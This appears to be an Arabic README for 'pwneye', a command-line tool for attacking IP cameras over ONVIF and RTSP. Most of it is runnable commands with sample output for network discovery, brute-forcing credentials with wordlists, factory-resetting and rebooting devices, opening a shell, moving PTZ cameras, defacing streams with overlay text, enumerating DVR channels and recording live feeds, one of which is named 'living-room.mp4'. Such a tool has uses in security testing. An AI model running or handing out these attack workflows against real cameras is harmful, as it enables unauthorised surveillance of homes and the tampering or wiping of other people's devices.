pwneye

قم بإلغاء تثبيته:```bash
pipx uninstall pwneye

### Python```bash
git clone https://github.com/Hackerest/pwneye
cd pwneye
python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt
python3 pwneye.py --help

### التبعيات الخارجية

من المتوقع توفر الأدوات التالية في `PATH` حسب الوضع الذي تستخدمه:
- `ffplay`
- `ffprobe`
- `ffmpeg` للتسجيل

| المنصة | أمر التثبيت |
| --- | --- |
| macOS (Homebrew) | `brew install ffmpeg` |
| Ubuntu / Debian | `sudo apt update && sudo apt install ffmpeg` |
| Fedora | `sudo dnf install ffmpeg ffmpeg-free` |
| Arch Linux | `sudo pacman -S ffmpeg` |
| openSUSE | `sudo zypper install ffmpeg` |

## البدء

استخدم هذه النقاط كأسرع مداخل للعمل مع الأداة. الهدف هنا ليس توثيق كل خيار، بل إظهار أكثر الطرق فائدة لبدء العمل مع كاميرا بناءً على ما تعرفه بالفعل.

ابدأ من سير العمل الكامل الافتراضي عندما يكون لديك هدف واحد وتريد أن تقوم `pwneye` بعملية اختيار البروتوكول نيابةً عنك:```bash
pwneye -t 192.168.1.135

ابدأ مباشرة من RTSP عندما يكون ONVIF غير ذي صلة، أو غير متوفر، أو كنت تعرف بالفعل ما تريد اختباره:```bash
pwneye -t 192.168.1.135 --skip-onvif

ابدأ من مسار معروف أو قالب مسار عندما يكون لديك بالفعل دليل على التدفق وتريد تحكماً دقيقاً في طلبات RTSP:```bash
pwneye -t 192.168.1.135 --skip-onvif -cn "/live/ch00_0"
pwneye -t 192.168.1.135 --skip-onvif -cn '/cam/realmonitor?channel={channel}&subtype=0'

الأعلام المفيدة التي يجب وضعها في الاعتبار:
- `--vendor VENDOR`: تقليل طلبات RTSP عندما تكون عائلة الجهاز معروفة مسبقًا
- `-cn, --connection-string PATH`: تجربة مسار RTSP معروف أو ملف يحتوي على مسارات مرشحة
- `--multi-channel`: تفضيل مسارات RTSP القائمة على القنوات عندما تشك في أن الهدف من نوع DVR/NVR
- `--threads N`: التحكم في التزامن لاختراق ONVIF وRTSP
- `--skip-onvif` / `--skip-rtsp`: التركيز على بروتوكول واحد فقط
- `--no-cache`: عدم القراءة من أو الكتابة إلى ذاكرة التخزين المؤقت
- `--fresh`: تجاهل قراءات ذاكرة التخزين المؤقت ولكن لا يزال كتابة النتائج الجديدة

## ONVIF

ONVIF هو جانب الإدارة والتحكم في عالم الكاميرات. عمليًا، هو مفيد للاكتشاف، والمصادقة، واستخراج البيانات الوصفية، وتعداد ملفات الوسائط، واسترجاع عناوين URI لدفق الفيديو، وإجراءات الجهاز مثل إعادة التشغيل.

في `pwneye`، عادةً ما يكون ONVIF هو البروتوكول الذي يوفر أغنى سياق ما بعد المصادقة، وأوضح مسار لفهم ما تعرضه الكاميرا، وعندما يمتلك الحساب المصادق صلاحيات كافية، الوصول إلى إجراءات إدارية حقيقية على الجهاز.

### ما يوفره لك ONVIF

عندما تعرض الكاميرا ONVIF، يمكن لـ `pwneye` استخدامه من أجل:

- اكتشاف الكاميرات على الشبكة المحلية عبر WS-Discovery
- اختبار مصادقة ONVIF باستخدام بيانات اعتماد ثابتة أو ملفات
- استخراج بيانات الشركة المصنعة والجهاز الوصفية
- استرجاع عناوين URI لدفق RTSP المعروضة من الجهاز
- تعداد السياق المفيد بعد المصادقة قبل لمس RTSP بشكل أكثر عدوانية
- طلب إعادة تشغيل مصادق عليها باستخدام `--reboot`
- طلب إعادة ضبط المصنع مصادق عليها باستخدام `--reset`
- تحريك كاميرا قادرة على PTZ من سطر الأوامر أو من العارض المخصص
- فتح قشرة تفاعلية مصادق عليها باستخدام `--shell`
- تشويه الدفق عبر ONVIF باستخدام `--deface`
- استعادة آخر ملف تشويه محفوظ باستخدام `--undeface`

### تعداد الشبكة المحلية

استخدم WS-Discovery لتحديد الأجهزة القادرة على ONVIF على الشبكة المحلية:```
pwneye --discover

[info] Starting continuous ONVIF discovery on the target network
[warning] No network interface was specified. Using en0 (subnet 192.168.1.0/24) for discovery
[success] Discovered 1 new ONVIF device(s) on the target network
[info] Saved ONVIF discovery data to cache for 192.168.1.135 (Tenda)

   Host: 192.168.1.135
   Port: 80
   Protocol: http
   Types: Device
   XAddrs: http://192.168.1.135:80/onvif/device_service
   Manufacturer: Tenda
   Name: CP3Pro
   Hardware: CP3Pro
   MAC: XX:XX:XX:XX:XX:XX
   Country: China
   Profiles: Streaming
   Capabilities: NetworkVideoTransmitter, ptz, video_encoder, audio_encoder

[success] ONVIF discovery stopped by user after identifying 1 device(s)

عند عدم تحديد واجهة، يقوم `pwneye` تلقائيًا باختيار واجهة الخروج الافتراضية ويخبرك بقطاع الشبكة الفرعية الذي يستخدمه لاكتشاف WS-Discovery.

### تخمين بيانات الاعتماد (Bruteforcing Credentials)

قم بتشغيل تخمين ONVIF فقط مع اسم مستخدم ثابت وملف كلمات مرور:```
pwneye -t 192.168.1.135 -ou admin -op ~/wordlists/rockyou-short.txt --skip-rtsp --threads 5

[info] Checking if the target (192.168.1.135) is reachable...
[info] The target seems to be reachable
[info] Trying ONVIF authentication using user-provided credentials...
[success] 192.168.1.135 supports ONVIF on port 80
[warning] Unable to authenticate via ONVIF using provided credentials
[>] Do you want to extend the test to common ONVIF credentials? [(y)es/(n)o] (default: y): 
[info] No explicit ONVIF credentials specified, trying common ONVIF credentials...
[info] Trying ONVIF authentication using common username(s) and password(s)...
[success] 192.168.1.135 supports ONVIF on port 80
⠼ Trying ONVIF on 192.168.1.135:80 with camera:12345

عند استخدام `--reboot`، يتم تخطي فحص RTSP.

### إعادة ضبط الكاميرا

إذا نجح مصادقة ONVIF، يمكنك أيضًا طلب إعادة ضبط المصنع مباشرةً:```text
pwneye -t 192.168.1.135 --reset

[info] Found cached ONVIF/RTSP credential(s) for 192.168.1.135
[info] Checking if the target (192.168.1.135) is reachable...
[info] The target seems to be reachable
[info] Trying cached ONVIF credentials for the target...
[success] 192.168.1.135 supports ONVIF on port 80
[success] ONVIF connection established using the following configuration:

   Port: 80
   ONVIF Username: admin
   ONVIF Password: Hackerest1

[>] Do you really want to factory-reset the camera via ONVIF? [(y)es/(n)o] (default: n):
[warning] Requesting ONVIF factory reset...
[info] ONVIF factory reset request sent
[info] Checking if the camera is still reachable...
[warning] The ONVIF factory reset request was sent, but the target still appears to be reachable. Please verify manually that the reset was completed.

الاتجاهات المقبولة هي:

- `left` أو `l`
- `right` أو `r`
- `up` أو `u`
- `down` أو `d`

مثال:```text
pwneye -t 192.168.1.135 --move r,2 --move u,1

...
[info] Trying cached ONVIF credentials for the target...
...
[success] ONVIF connection established using the following configuration:
...

[info] Requesting ONVIF PTZ move to right for 2.00 second(s)...
[info] The ONVIF move command was accepted
[info] Requesting ONVIF PTZ move to up for 1.00 second(s)...
[info] The ONVIF move command was accepted
[success] The camera has been moved!

ما الذي يفعله `--deface` باختصار:

- يتحقق أولاً مما إذا كان الهدف يدعم تعتيم البث عبر ONVIF Imaging
- يتحقق أيضاً مما إذا كان الهدف يعرض طبقات نص ONVIF قابلة لإعادة الاستخدام
- إذا كان كلاهما متاحاً، يقوم `pwneye` بتنفيذ تشويه كامل
- إذا كان جانب واحد فقط متاحاً، يحذر `pwneye` المستخدم ويقدم تشويهاً جزئياً بدلاً من ذلك
- قبل تغيير أي شيء، يحفظ `pwneye` ملف استعادة للهدف تحت `~/.pwneye/cache`

التنفيذ متحفظ عمداً ومراعٍ لمصنعي الأجهزة:

- بالنسبة لخطوة التعتيم، يخفض `pwneye` عناصر التحكم في التصوير المدعومة مثل السطوع والتباين والتشبع بدلاً من الاعتماد على حيل خاصة بالمصنعين
- بالنسبة لخطوة النص، يعيد `pwneye` استخدام طبقات نص ONVIF القابلة للكتابة الموجودة بدلاً من إنشاء أو حذف إدخالات OSD جديدة
- وهذا يجعل الميزة أكثر توافقاً عبر عائلات الكاميرات المختلفة، حتى لو كانت النتيجة البصرية النهائية لا تزال تعتمد على البرنامج الثابت

مثال:```text
pwneye -t 192.168.1.135 --deface "THIS CAMERA IS EXPOSED"

[info] Found cached ONVIF/RTSP credential(s) for 192.168.1.135
[info] Checking if the target (192.168.1.135) is reachable...
[info] The target seems to be reachable
[info] Trying cached ONVIF credentials for the target...
[success] 192.168.1.135 supports ONVIF on port 80
[success] ONVIF connection established using the following configuration:

   Port: 80
   ONVIF Username: admin
   ONVIF Password: Hackerest1

[info] Inspecting ONVIF deface capabilities...
[info] The target supports ONVIF deface
[>] Do you want to proceed with the deface attempt? [(y)es/(n)o] (default: n): y
[warning] Trying to deface the target stream with THIS CAMERA IS EXPOSED
[info] A backup profile is being created for future restorations...
[success] Backup profile saved successfully to /Users/user/.pwneye/cache/192.168.1.135.yaml
[info] Trying to darken the stream...
[success] The stream was darkened successfully
[info] Trying to replace the current on-stream text with THIS CAMERA IS EXPOSED
[info] Verifying the text update...
[success] The target stream has been defaced!
[info] To restore the previous configuration, run the tool again with --undeface

ما الذي يفعله `--undeface`، باختصار:

- يبحث عن ملف تعريف استعادة deface محفوظ مسبقًا في إدخال ذاكرة التخزين المؤقت للهدف
- إذا لم يكن هناك ملف تعريف موجود، يتوقف فورًا مع ظهور خطأ
- إذا كان ملف تعريف موجودًا، يحاول استعادة إعدادات Imaging الأصلية وطبقات النص القابلة للكتابة الأصلية
- كما هو الحال مع `--deface`، قد تكون النتيجة النهائية كاملة أو جزئية اعتمادًا على ما يسمح به الهدف عبر ONVIF

لا يتم حذف ملف تعريف الاستعادة بعد نجاح `--undeface`. يبقى في ذاكرة التخزين المؤقت حتى يقوم `--deface` مستقبليًا باستبداله بملف تعريف أحدث.

مثال:```text
pwneye -t 192.168.1.135 --undeface

[info] Found cached ONVIF/RTSP credential(s) for 192.168.1.135
[info] Checking if the target (192.168.1.135) is reachable...
[info] The target seems to be reachable
[info] Trying cached ONVIF credentials for the target...
[success] 192.168.1.135 supports ONVIF on port 80
[success] ONVIF connection established using the following configuration:

   Port: 80
   ONVIF Username: admin
   ONVIF Password: Hackerest1

[info] Looking for a saved deface profile for this target...
[info] A saved deface profile was found at /Users/user/.pwneye/cache/192.168.1.135.yaml
[>] Do you want to proceed with the undeface attempt? [(y)es/(n)o] (default: n): y
[warning] Trying to restore the target stream...
[info] Trying to restore the original stream brightness profile...
[success] The original stream brightness profile was restored successfully
[info] Trying to restore the original on-stream text...
[success] The original on-stream text was restored successfully
[success] The target stream has been restored!

## RTSP

RTSP هو الجانب المتعلق بالبث في عالم الكاميرات. وهو البروتوكول الذي يمنحك عادةً مسار الفيديو المباشر، لكنه أيضًا الأكثر تجزؤًا: يستخدم البائعون مسارات مختلفة، واصطلاحات قنوات مختلفة، وخصائص مصادقة مختلفة، وتنسيقات لافتات مختلفة.

في `pwneye`، تتم معالجة RTSP حول اكتشاف المنافذ، والتقاط اللافتات، واختيار المسارات المدركة للبائع، وتنسيق هجمات القوة الغاشمة، والتحقق من صحة البث، والمعاينة، والتسجيل.

### ما الذي يوفره لك RTSP

RTSP هو الجزء من سير العمل الذي يؤكد ما إذا كان بإمكانك الوصول فعليًا إلى بث ما. في `pwneye`، يعني ذلك:

- اكتشاف RTSP على المنافذ الشائعة أو المنافذ المحددة من قبل المستخدم
- التقاط اللافتات ومحاولة تحديد البائع تلقائيًا
- هجمات القوة الغاشمة على بيانات الاعتماد مقابل مسارات مدركة للبائع أو مسارات يقدمها المستخدم
- التحقق من صحة البثوط العاملة قبل فتحها
- تسجيل البثوط أو التقاط لقطات كدليل
- تعداد قنوات متعددة عندما يتصرف الهدف مثل DVR أو NVR

### تحديد البائع

سيحاول `pwneye` تحديد بائع RTSP تلقائيًا من خلال التقاط لافتات RTSP قبل اللجوء إلى تعداد مسارات أوسع.

إذا فشل التحديد التلقائي القائم على اللافتات وكنت تعرف البائع بالفعل من تحليل سابق، يمكنك تمريره مباشرة لتقليل عدد الطلبات بشكل كبير:```bash
pwneye -t 192.168.1.135 --vendor tenda

خيارات مفيدة:
- `--skip-rtsp`: تخطّي اكتشاف RTSP والهجوم بالتخمين
- `-P, --rtsp-port PORT`: اختبار منفذ RTSP محدد
- `--vendor VENDOR`: فرض بائع من قاعدة بيانات RTSP
- `--list-vendors`: عرض البائعين المدعومين من قاعدة معرفة RTSP ثم الخروج
- `--protocol tcp|udp`: اختيار ناقل RTSP، الافتراضي هو `tcp`
- `--timeout SECONDS`: مهلة RTSP، الافتراضي هو `10`

### الهجوم بالتخمين على RTSP

الهجوم بالتخمين على RTSP باستخدام بيانات اعتماد ثابتة:```bash
pwneye -t 192.168.1.135 --username admin --password admin

جرّب سلسلة اتصال RTSP واحدة مقدمة من المستخدم:```bash
pwneye -t 192.168.1.135 --skip-onvif -cn "/11"
pwneye -t 192.168.1.135 --skip-onvif -cn "/cam/realmonitor?channel=1&subtype=0"

اجمع مسارًا يدويًا مع بيانات اعتماد ثابتة:```bash
pwneye -t 192.168.1.135 --skip-onvif -u admin -p admin -cn "/live/ch00_0"

الخيارات المفيدة:
- `-u, --username USER`: اسم مستخدم RTSP أو ملف يحتوي على اسم مستخدم واحد في كل سطر
- `-p, --password PASS`: كلمة مرور RTSP أو ملف يحتوي على كلمة مرور واحدة في كل سطر
- `-cn, --connection-string PATH`: سلسلة اتصال RTSP أو ملف يحتوي على سلسلة اتصال واحدة في كل سطر
- `--multi-channel`: تفضيل سلاسل اتصال RTSP متعددة القنوات عند توفرها
- `--threads N`: عدد الخيوط المتزامنة المستخدمة بواسطة محرك القوة الغاشمة

إذا لم يتم تحديد `-u` و `-p`، يقوم `pwneye` تلقائيًا بالرجوع إلى أسماء المستخدمين وكلمات المرور الشائعة المدمجة لـ RTSP.

يقوم `pwneye` بتخزين بيانات اعتماد RTSP الناجحة وبيانات تدفق الوسائط المُتحقق منها لكل هدف تحت `~/.pwneye/cache`.

سلوك التخزين المؤقت:
- الافتراضي: إعادة استخدام النتائج الصالحة المخزنة قبل تشغيل قوة غاشمة جديدة
- `--fresh`: تجاهل النتائج المخزنة مؤقتًا ولكن لا يزال تحديث التخزين المؤقت بالنتائج الجديدة
- `--no-cache`: تعطيل كل من قراءة التخزين المؤقت وكتابة التخزين المؤقت

### التدفقات متعددة القنوات

تكشف بعض الكاميرات وأجهزة DVR و NVR عن قنوات RTSP منطقية متعددة بدلاً من مسار ثابت واحد. تتضمن الأمثلة النموذجية قوالب مثل:```text
rtsp://IP:554/?chID=1&streamType=main&linkType=tcp
rtsp://IP:554/cam/realmonitor?channel=1&subtype=0

عينة الإخراج:```text
[info] Enumerating RTSP channels using the validated connection template...
[info] Press CTRL-C to stop channel enumeration and choose from the channels found
[success] RTSP channel 2 is valid
[success] RTSP channel 3 is valid
[warning] RTSP channel enumeration interrupted by user. Using the channels discovered so far

   [0] Open all discovered channels in a dedicated client
   [1] Channel 1: rtsp://192.168.1.135:554/cam/realmonitor?channel=1&subtype=0
   [2] Channel 2: rtsp://192.168.1.135:554/cam/realmonitor?channel=2&subtype=0
   [3] Channel 3: rtsp://192.168.1.135:554/cam/realmonitor?channel=3&subtype=0

[>] Select channel (CTRL-C to exit):

سجّل تدفق RTSP مُتحققًا منه مع معاينة:```bash
pwneye -t 192.168.1.135 --record
pwneye -t 192.168.1.135 --record living-room.mp4

سجّل دون فتح نافذة المعاينة:```
pwneye -t 192.168.1.135 --record living-room.mp4 --no-video

...
[info] Recording RTSP stream to /Users/user/.pwneye/recordings/192.168.1.135/2026-04-14_20-25-03.mp4
[info] Press CTRL-C to stop the recording
[warning] Retrying MP4 finalization in compatibility mode (transcoding)...
[success] Recording saved to /Users/user/.pwneye/recordings/192.168.1.135/2026-04-14_20-25-03.mp4 (5.75 MB)